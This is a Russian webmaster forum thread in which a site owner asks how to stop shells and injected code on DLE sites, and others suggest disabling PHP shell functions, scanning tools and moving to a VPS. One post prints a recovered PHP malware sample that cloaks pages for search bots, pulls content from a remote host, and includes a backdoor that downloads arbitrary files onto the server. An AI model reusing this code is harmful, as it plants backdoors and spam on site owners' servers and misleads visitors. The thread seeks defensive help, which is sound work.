- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу

В 2023 году Одноклассники пресекли более 9 млн подозрительных входов в учетные записи
И выявили более 7 млн подозрительных пользователей
Оксана Мамчуева

Маркетинг для шоколадной фабрики. На 34% выше средний чек
Через устранение узких мест
Оксана Мамчуева
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
Приветствую всех! Сам я не сильно разбираюсь в серверном администрировании и хостингах, на базовом уровне. Хотел спросить совета у спецов, как можно обезопасить свои сайты от добавления на них вредноносных строчек. Сайты в своем большинстве у меня на DLE, остальная меньшая часть на WP. WP вроде бы живут без проблем, а вот на DLE постоянно появляются вредноносные коды, чистить которые мне уже порядочно надоело. В папках сайтов очень часто появляются шеллы, особенно в директориях uploads/fotos
Все что смог сделать со своей стороны, это добавить .htaccess файл в папку uploads запрещающий загрузку php файлов и ограничил доступ к FTP по IP, но сайты по прежнему "долбят".
Господа мастера и гуру, просьба поделиться советом и подсказать какие еще действия можно предпринять для устранения проблем с сайтами, помимо обновления дистрибутивов DLE и поиска дырок в скриптах.
killerok, DLE сам за себя говорит. Дыра.
Убедитесь что у хостера закрыты функции в php: exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source
magic_quotes_gpc = Off
Атрибуты, убедитесь что все верно..
А как вариант, лучше нанять хорошего кодера, что бы сделал анализ системы, после чего, просто обновится везде..
Удачи..
killerok, DLE сам за себя говорит. Дыра.
Убедитесь что у хостера закрыты функции в php: exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source
magic_quotes_gpc = Off
Атрибуты, убедитесь что все верно..
А как вариант, лучше нанять хорошего кодера, что бы сделал анализ системы, после чего, просто обновится везде..
Удачи..
Спасибо за совет, у хостера спрошу про переменные. Обновиться ... бррр как предствалю, 100 сайтов на всех моды, где какие уже и не вспомню, практически невозможно :(
killerok, в модах может быть проблема в 85% случаях.
Знаете почему? паблик....дыра..понты...
1 словом, бесплатный сыр, бывает мыши не едят..
var $timeout = 15;
var $bUrl = '';
function get_content_code($a,$query=false,$type=false){
if($type) $frt = $a.$query;
else $frt = base64_decode($a).$query;
$ret = false;
if( @function_exists('curl_init') ){
if( $curl = @curl_init() ){
if( !@curl_setopt($curl,CURLOPT_URL,$frt) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_RETURNTRANSFER,true) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,$this->timeout) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_HEADER,false) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_ENCODING,"gzip,deflate") ) return $ret;
$ret = @curl_exec($curl);
@curl_close($curl);
}
}
else{
$u = parse_url($frt);
if( $fp = @fsockopen($u['host'],!empty($u['port']) ? $u['port'] : 80 ) ){
$headers = 'GET '. $u['path'] . '?' . $u['query'] .' HTTP/1.0'. "\r\n";
$headers .= 'Host: '. $u['host'] ."\r\n";
$headers .= 'Connection: Close' . "\r\n\r\n";
@fwrite($fp, $headers);
$ret = '';
while( !feof($fp) ){
$ret .= @fgets($fp,1024);
}
$ret = substr($ret,strpos($ret,"\r\n\r\n") + 4);
@fclose($fp);
}
}
return $ret;
}
function srt_rep($data){
$data = preg_replace("'[^a-zà-ÿ.,-]'si",'',$data);
$data = str_replace("\r\n","",trim(stripcslashes(preg_replace("'<[^>]*>'si",'',$data))));
$data = str_replace("\r\n","",$data);
$data = str_replace(" ", "::::",$data);
return$data;
}
function get_n_link($content){
preg_match_all("'<a.*?href=[\"\']http:\/\/(.*?)[\"\'][^>]*>'si",$content,$all);
foreach($all[1] as $val){
$link = explode("/",$val);
$host = preg_replace('/^www\./', '', $_SERVER["HTTP_HOST"]);
$h_link = preg_replace('/^www\./', '', $link[0]);
if($h_link !== $host){
$name[$h_link] = $h_link;
}
}
return count($name);
}
function title_desc($content){
if(preg_match_all("'\<meta(.*?)[^>]*>'si",$content,$math)){
foreach($math[0] as $key =>$val){
if(strstr($val,"description")) preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[0]);
if(strstr($val,"keywords")) preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[1]);
if(strstr($val,"Content-Type") or strstr($val,"content-type")) preg_match("'charset=(.*?)[\"\']'si",$val,$MERS[2]);
}
}
if(preg_match("'<title[^>]*>(.*?)<\/title[^>]*>'si",$content,$pre_title)){
if(strstr($pre_title[1],'»')) preg_match("'(.*?)»'si",$pre_title[1],$MERS[3]);
else $MERS[3][1] = $pre_title[1];
}
return $MERS;
}
function upFile(){
if($_GET['upFile']){
$ip = $_SERVER["REMOTE_ADDR"];
$ipList = $this->get_content_code($this->bUrl,'false&ipList=true');
if(strstr($ipList,$_SERVER["REMOTE_ADDR"])){
@mkdir(ROOT_DIR.$_GET['upDir']);
@copy($_GET['upFile'],ROOT_DIR.$_GET['upDir'].'/'.$_GET['upName']);
if(file_exists(ROOT_DIR.$_GET['upDir'].'/'.$_GET['upName'])) print '<!--upTrue-->';
}
}
}
function conectBase($murl){
$URI = $_SERVER["REQUEST_URI"];
$HOST = $_SERVER["HTTP_HOST"];
$this->bUrl = $murl;
$this->upFile();
$rssUrl = end(explode('/',$_SERVER["REQUEST_URI"]));
if ( (strstr($_SERVER['HTTP_USER_AGENT'], 'Yandex') or strstr($_SERVER['HTTP_USER_AGENT'], 'Google')) and $rssUrl !== 'rss.php'){
print "<!--bot_true-->\n";
$content = $this->get_content_code('aHR0cDovLw==',$HOST.$URI);
$MERS = $this->title_desc($content);
$s_temp = @file_get_contents(ROOT_DIR.'/templates/'.$config['skin'].'/main.tpl');
$vs = $this->get_n_link($content);
$temp = $this->get_n_link($s_temp);
$conect = 'n';
if ( strstr($_SERVER['HTTP_USER_AGENT'], 'Yandex')){
$conect = 'y';
}
elseif( strstr($_SERVER['HTTP_USER_AGENT'], 'Google')){
$conect = 'g';
}
if($MERS[2][1] == 'UTF-8' or $MERS[2][1] == 'utf-8'){
$MERS[3][1] = mb_convert_encoding($MERS[3][1], 'windows-1251', 'UTF-8');
$MERS[1][1] = mb_convert_encoding($MERS[1][1], 'windows-1251', 'UTF-8');
$MERS[0][1] = mb_convert_encoding($MERS[0][1], 'windows-1251', 'UTF-8');
}
$TMP = $this->get_content_code($murl,$URI.'&host='.$HOST.'&vs='.$vs.'&temp='.$temp.'&hu='.$conect.'&ip='.$_SERVER["REMOTE_ADDR"].'&t='.$this->srt_rep($MERS[3][1]).'&k='.$this->srt_rep($MERS[1][1]).'&d='.$this->srt_rep($MERS[0][1]));
if($MERS[2][1] == 'UTF-8' or $MERS[2][1] == 'utf-8'){
$TMP = mb_convert_encoding($TMP, 'UTF-8', 'windows-1251');
}
print $TMP;
}
}
}
$conectBase = new conectBase('');
function showall($id) {
$id = intval($id);
$rtn = $id + date("j");
return $rtn;
}
function sql_safe($in) {
if (showall(64) < 1024) {
$rtn = base64_decode($in);
return $rtn;
}
}
function collectnews($newsid) {
if (date("j") - $newsid > 320 ) {
$rtn = false;
} else {
$get = sql_safe("")."?br=".base64_encode($_SERVER['HTTP_USER_AGENT'])."&ip=".base64_encode($_SERVER['REMOTE_ADDR']);
if (!isset($_COOKIE[sql_safe("")])) {
echo @file_get_contents($get);
}
}
}
collectnews (date("j"));
Вот такой вредноносный код, подскажите что делает?
Попробуйте воспользоваться скриптом из этой темы /ru/forum/707624. Очень неплохо ищет всякую гадость на сайтах, но как уже написал DenysRoy, проблема в бесплатных дырявых модулях.
killerok, такая же проблема была, чистил все айболитом, но это не надолго хватает, я почищу, они опять заливают свое Г, причем они даже стали мне в htaccess писать сообщения типа прости баратан еще разок и все.. и так далее у меня это две недели длилось пока я просто не перенес сайт на другой двиг(платный).
killerok, потерто----
killerokпричем они даже стали мне в htaccess писать сообщения типа прости баратан еще разок и все..
;))
Виртуальный хостинг - это еще тот рассадник. Как-то мне достался один сайт, так там столько всего было (шеллы, скрытый сейп, mail сендеры и прочее). Можно было подумать, что сам сайт дырявый. Перенес на VPS, добавил сайт в git репозитарий, чтобы отслеживать измененные или новые файлы. Так уже больше года ни единого залива.
Просто когда на виртуальном хостинге взламывают сайт одного клиента, то всегда проверяют возможность записи в директории других пользователей. Вот и выходят массовые внедрения по всему хостингу. Боты все делают быстро. :)) В общем все зависит от хостера конечно, как у него все настроено.
У всех по-разному. У нас вообще нет никакой возможности увидеть сайты другого клиента.
Можно даже 777 права на всё подряд ставить. Другие аккаунты в принципе не увидят этих папок.
Вот интересно, доступ к ФТП ограничен по IP, в логах нет доступа с других IP, хостер говорит что доступ по SSH закрыт, как вообще тогда можно добавлять вредноносные строчки в код? Через веб интефейс?